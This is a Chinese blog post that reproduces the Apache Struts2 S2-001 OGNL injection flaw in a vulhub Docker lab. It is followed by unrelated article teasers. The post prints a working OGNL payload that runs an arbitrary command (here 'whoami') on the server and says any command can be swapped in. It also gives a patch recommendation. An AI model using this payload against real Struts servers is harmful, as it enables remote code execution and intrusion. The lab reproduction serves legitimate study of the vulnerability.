Apache Struts2漏洞复现之s2-001漏洞复现

news2024/11/26 22:43:52

0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。

        缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

0x03 漏洞概述:

        该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

0x04 影响版本:

    Struts 2.0.0 - 2.0.8

0x05 环境搭建:

Docker环境搭建:

        参考这篇文章(https://blog.csdn.net/qq_44281295/article/details/126573488)

漏洞环境搭建:

下载vulhub

https://github.com/vulhub/vulhub

启动项目

进入s2-001目录

cd /root/vulhub/struts2/s2-001/

注意!!

有可能下载不了,需要科学上网!!

访问:

0x06 漏洞复现:

利用POC:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

执行任意命令时只需要,将上面poc里whoami的命令替换为其他即可。

0x07 流量分析:

        可以从流量中明显看出恶意命令信息。

0x08 修复建议:

       从 XWork 2.0.4 开始,OGNL 解析已更改,其不会递归解析,所以可以更新 Struts 版本或 XWork 版本为漏洞修复版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/782013.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode45.Jump-Game-II<跳跃游戏II>

题目: 思路: 从上次大神那里获得的灵感 这题问的是次数,那么我们需要确保 1,能否跳到终点 2,得到次数. 第一次条获得的是nums[0],那么第一个数就是我们第一次能跳跃的范围.每次在范围里获得最大值.并且次数加一.然后进入下一次范围;即可得到次数; 代码…

sql中with as用法/with-as 性能调优/with用法

文章目录 一、概述二、基本语法三、使用场景3.1、定义CTE,并为每列重命名3.2、多次引用/多次定义3.3、with与union all联合使用3.4、with返回多种结果的值3.5、with与insert使用 四、递归查询4.1、语法4.2、使用场景4.2.1、用with递归构造1-10的数据4.2.2、with与insert递归造数…

C++OpenCV(6):图像阈值操作

🔆 文章首发于我的个人博客:欢迎大佬们来逛逛 🔆 OpenCV项目地址及源代码:点击这里 文章目录 图像阈值化 图像阈值化 阈值又叫临界值,是指一个效应能够产生的最低值或最高值。 例如我们选择的阈值为125,则…

AI课堂教学质量评估系统算法 yolov7

AI课堂教学质量评估系统通过yolov7网络模型框架利用摄像头和人脸识别技术,AI课堂教学质量评估系统实时监测学生的上课表情和课堂行为。同时,还结合语音识别技术和听课专注度分析算法,对学生的听课专注度进行评估,生成教学质量报告…

SQL与NoSQL数据库选型及实际业务场景探讨

在企业系统架构设计中,选择合适的数据库类型是一项关键决策。本文将对比SQL和NoSQL数据库的特点,分析它们在数据模型、可扩展性、一致性与事务、查询复杂性与频率,以及性能与延迟等方面的优势和劣势。同时,结合轻易云数据集成平台…

专项练习-1数据结构-02字符串

1. 下面关于「串」的叙述中,哪一个是不正确的?( ) A 串是字符的有限序列 B 空串是由空格构成的串 C 模式匹配是串的一种重要运算 D 串既可以采用顺序存储,也可以采用链式存储 正确答案:B 官方解析&…

在vscode中运行Hbuilder创建的项目

想必习惯使用vscode的人突然使用HBuilder很不习惯吧,但是HBuilder创建的项目本身没有调试功能。当你有一个app项目但又不想使用HBuilder编写,需要浏览器调试的时候,你这时就需要一个插件了:uni run 插件 基于HBuilderX的采用unia…

【数据标注】yolo系列中 labelme 标记的 json 文件转 txt 文件保存

在深度学习领域中,数据的标注方式和对应的数据格式确实五花八门。下面是一些常见的标注方式和对应的数据格式: 目标检测标注方式:对于图像目标检测任务,常见的标注方式包括Bounding Box、Mask、Keypoint等。其中, Boun…

Postman怎么做接口测试-以简单的登录接口为例

我们就以登录某测试系统为例子,实现在Postman上做接口测试 一、首先打开系统首页首页,做一个登录操作(目的是获取接口url及参数):一般在公司做接口测试的时候页面还没有出来,我们需要根据接口文档进行接口…

java学习(二):反射

系列文章目录 https://editor.csdn.net/md/?articleId131757340 文章目录 系列文章目录参考【1】注解1. 什么是注解2. 内置注解3. 元注解4.自定义注解 【2】反射--基本概念一、反射的基本概念1. 为什么要用反射?2. 什么是反射?3. 用和不用反射的区别&a…

spring复习:(49)@Configuration配置类上的注解是在哪里被解析的?

主类示例源代码如下: 配置类源码如下: 进入context.register方法: 进入this.reader.register方法: 进入registerBean方法: 进入doRegisterBean方法: 进入AnnotatedGenericBeanDefinition构造方法&am…

计算机科学cs/电子信息ei面试准备——python复习|理解题|简答题

目录 1 请简要概述python技术的主要应用场景? 2 python的基本数据类型是那几种? 3 python数组和列表有什么区别? 4 Python中的函数是什么? 5 请写出删除列表中的元素有几种方式? 6 描述python函数中递归的理解? 7 请介绍join()和split()的区别? 8 介绍…

C++ - 初识vector类 迭代器失效

之前对C当中的string类做了了解和模拟实现: C-string类的模拟实现_chihiro1122的博客-CSDN博客 C string类-2_chihiro1122的博客-CSDN博客 C string类 迭代器 范围for_string类型迭代器_chihiro1122的博客-CSDN博客 vector类使用模版来实现了,我们可…

如何在APP开发中实现无缝用户体验?

我们在日常生活中经常会看到这样一种情况:当我们打开 APP时,有时会出现卡顿、死机的情况,这就是所谓的“死机”现象。在开发 APP时,我们需要考虑用户体验,在用户操作 APP时能够感受到顺畅的使用体验,让用户…

设计模式—1、23种设计模式详解

目录 一、设计模式概述 二、设计模式的分类(总共有 25 种设计模式) 1、创建型模式(5种) 2、结构型模式(8种) 3、行为型模式(12种) 三、设计模式的优点和缺点 1、设计模式的优点…

Android OpenGL 教程——Native 工程初始化

NativeActivity NDK 的适用场景官方给出三点: 平台间的 App 移植复用现有库对软件性能要求较高的场合比如游戏等 有两种方式可以实现 native activity。 native_activity.handroid_native_app_glue 由于第二种方法启用另一个线程处理回调和输入事件&#xff0c…

用 Generative AI 构建企业专属的用户助手机器人

原文来源: https://tidb.net/blog/a9cdb8ec 关于作者:李粒,PingCAP PM TL;DR 本文介绍了如何用 Generative AI 构建一个使用企业专属知识库的用户助手机器人。除了使用业界常用的基于知识库的回答方法外,还尝试使用模型在 fe…

QML使用滚轮/触控板实现水平滚动/垂直滚动/缩放功能

目录 引言核心代码完整代码 引言 因为项目需要需要进行组件移动、缩放的开发,具体要求如下: 鼠标滚轮,实现垂直移动Ctrl鼠标滚轮,实现缩放Alt鼠标滚轮,实现水平移动触控板移动,实现垂直、水平移动触控板双…

C#事件学习笔记

一.事件概述: 事件的作用是降低模块间的耦合度,本质是观察者模式的应用,通过增加监听器,使事件响应函数的调用分散在各个对象自身内部,当增加和减少一个事件响应函数时,只需要增加或删除相应对象内的代码&…

MyBatis-Plus 的基础增删改查

目录 1. 简介 2. 准备工作 3. MyBatis-Plus 实现增删改查 1. MyBatis-Plus 简介 MyBatis-Plus(简称 MP)是 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生. 2. 准备工作 2.1 准备数据表 D…